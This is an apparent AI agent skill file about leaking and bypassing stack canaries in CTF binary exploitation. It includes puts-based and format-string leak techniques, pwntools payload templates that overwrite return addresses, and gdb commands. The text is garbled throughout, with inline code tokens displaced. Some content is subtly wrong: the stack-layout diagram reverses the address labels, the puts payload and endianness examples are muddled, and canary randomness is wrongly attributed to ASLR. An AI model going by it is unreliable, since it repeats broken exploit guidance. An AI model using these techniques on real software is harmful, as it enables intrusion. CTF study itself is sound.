Hacktricks-skills stack-canary-bypass
How to leak and bypass stack canary protections in binary exploitation challenges. Use this skill whenever the user mentions stack canaries, stack protector, __stack_chk_fail, CTF challenges with canary protection, or needs to exfiltrate canary values through puts/format strings. This skill covers techniques like leaking canaries via puts on overflowed stack, format string arbitrary reads, and crafting follow-up exploits once the canary is known.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary/SKILL.MDStack Canary Bypass Techniques
Stack canaries (also called stack protectors) are a security mechanism that places a random value between local variables and the saved return address. When a function returns, the canary is checked—if it's been modified, the program calls
__stack_chk_fail and terminates.
This skill covers techniques to leak and bypass stack canaries in CTF challenges and binary exploitation scenarios.
Understanding Stack Canaries
Key Properties
- First byte is always null (
) - this is critical for exploitation\x00 - Random value generated at program startup
- Location: Between local buffer and saved return address on the stack
- Check happens: Before function epilogue (before
)ret
Stack Layout (typical)
[higher addresses] local variables buffer (vulnerable to overflow) ↓ CANARY (8 bytes on x64, 4 bytes on x32) ↓ saved frame pointer (x64 only) ↓ saved return address [lower addresses]
Technique 1: Leaking Canary via puts
on Stack
putsWhen This Works
- Program has a stack overflow vulnerability
- Program can call
(or similar print function) with a pointer into your overflowed payloadputs - You can send two payloads in the same session (one to leak, one to exploit)
The Exploit Flow
- First payload: Overflow the buffer up to (but not including) the first null byte of the canary
- Call
on a pointer within your payload that points to the canary locationputs - Read the output - you'll get the canary value (minus the leading null byte)
- Second payload: Use the leaked canary to craft a proper overflow that preserves it
- Execute your real exploit (ROP chain, shellcode, etc.)
Why It Works
The canary's first byte is
\x00, which terminates C strings. When puts reads from the stack:
- It starts at your chosen offset
- Reads until it hits the null byte at the canary's start
- Outputs all bytes in between (the canary minus the first byte)
Example CTF: CSAW Quals 2017 - svc
- Architecture: 64-bit, ASLR enabled, no PIE
- Exploit steps:
- Fill overflow until the
byte of the canary0x00 - Call
to leak the canaryputs - With the canary, create ROP gadget to leak
address from GOTputs - Calculate libc base, find
andsystem/bin/sh - ROP chain to call
system('/bin/sh')
- Fill overflow until the
Example CTF: hxp CTF 2018 - poorCanary
- Architecture: 32-bit ARM, no relro, canary, NX, no PIE
- Exploit steps:
- Overflow with call to
on the overflowed buffer to leak canaryputs - ret2lib calling
with ROP chain:system
(argumentpop r0
)/bin/sh
(address ofpc
)system
- Overflow with call to
Technique 2: Leaking Canary via Format String Arbitrary Read
When This Works
- Program has a format string vulnerability (e.g.,
)printf(user_input) - You can control format specifiers like
,%x
,%p%s - The canary is on the stack and accessible via format string arguments
The Exploit Flow
- Determine the offset where the canary appears in the format string argument list
- Use
or%p
to read that stack position%x - Extract the canary value from the output
- Craft exploit with the correct canary value
Finding the Canary Offset
Try incrementing the format specifier:
%1$p %2$p %3$p ... %20$p
Look for a value that:
- Ends with
(the null byte, though it may not print)00 - Appears to be random (not a code address or common value)
- Is in a reasonable stack location
Example CTF: ASIS CTF 2017 - MaryMorton
- Vulnerability: Simple format string abuse
- Exploit: Read the canary directly from the stack using format string specifiers
- Follow-up: Use the canary in a subsequent overflow to gain code execution
Practical Exploitation Workflow
Step 1: Identify the Vulnerability
# Check if canary is enabled checksec binary_name # Look for: Stack canary: yes # Find the offset to the canary # Use gdb to examine stack layout (gdb) info frame (gdb) x/20gx $rsp
Step 2: Leak the Canary
Via puts:
from pwn import * io = process('./vuln') # First payload: leak canary payload = b'A' * (canary_offset - 1) # Stop before null byte payload += b'B' * 8 # Padding to reach puts pointer payload += p64(puts_addr) # Address of puts in GOT payload += p64(main_addr) # Return to main for second chance io.sendline(payload) leak = io.recvline() # Extract canary from leak (skip first null byte) canary = leak[1:9] # Adjust based on actual output
Via format string:
from pwn import * io = process('./vuln') # Find canary offset for i in range(1, 30): io.sendline(f'%{i}$p') response = io.recvline() # Look for suspicious value # Once found, read it io.sendline(f'%{canary_offset}$p') canary_hex = io.recvline()
Step 3: Craft the Real Exploit
# Second payload: actual exploit with correct canary payload = b'A' * buffer_offset payload += canary # Include the leaked canary (with null byte) payload += b'C' * 8 # Overwrite saved frame pointer (x64) payload += p64(shellcode_addr) # Your payload io.sendline(payload) io.interactive()
Common Pitfalls
1. Missing the Null Byte
The canary's first byte is
\x00. When you leak it via puts, you only get bytes 2-8. When crafting your exploit, you must include the null byte:
# WRONG - missing null byte canary = leaked_bytes # Only 7 bytes # CORRECT - prepend null byte canary = b'\x00' + leaked_bytes # Full 8 bytes
2. Wrong Endianness
Canaries are stored in little-endian on x86/x64:
# If you read the canary as hex string, convert properly canary_hex = "deadbeef00" canary = u64(canary_hex.encode() + b'\x00') # Add null byte, convert
3. Session Timeout
Some programs only allow one interaction. Make sure you can:
- Leak the canary
- Send a second payload
- In the same process/session
4. ASLR Interactions
If ASLR is enabled:
- The canary is random per execution
- You MUST leak it at runtime
- You cannot hardcode it
Debugging Tips
GDB Commands
# Find canary location (gdb) break main (gdb) run (gdb) info frame (gdb) x/20gx $rbp # or $rsp on x64 # Watch for __stack_chk_fail (gdb) break __stack_chk_fail (gdb) run (gdb) x/10gx $rsp # Examine stack when canary check fails # Find puts in GOT (gdb) x/gx puts@GOT
Pwntools Helpers
from pwn import * # Context setup context.arch = 'amd64' context.os = 'linux' # Process with gdb for debugging io = process('./vuln', gdb=True) # Or use gdb context io = process('./vuln') gdb.attach(io, 'break main\nx/20gx $rsp')
References
CTF Writeups
- CSAW Quals 2017 - svc - 64-bit, ASLR, no PIE
- hxp CTF 2018 - poorCanary - 32-bit ARM
- ASIS CTF 2017 - MaryMorton - Format string canary leak
Additional Resources
- Stack Canaries - ir0nstone
- Format String Exploitation - For arbitrary read techniques
Quick Reference
| Technique | Requirements | Difficulty |
|---|---|---|
leak | Stack overflow + puts call + 2 payloads | Medium |
| Format string | Format string vuln + stack access | Easy-Medium |
| Info leak gadget | ROP chain to leak memory | Hard |
| Check | Command |
|---|---|
| Canary enabled | |
| Find canary offset | + |
| Leak via puts | Overflow to canary + call puts |
| Leak via format | to find offset |
When to Use This Skill
Use this skill when:
- A CTF challenge has stack canary protection enabled
- You need to leak a canary value to proceed with exploitation
- You're dealing with
crashes__stack_chk_fail - You have a format string vulnerability and need to read stack values
- You need to understand stack protector bypass techniques
Don't use this skill for:
- Basic buffer overflows without canaries
- Heap exploitation (different protection mechanisms)
- Kernel exploitation (different canary implementations)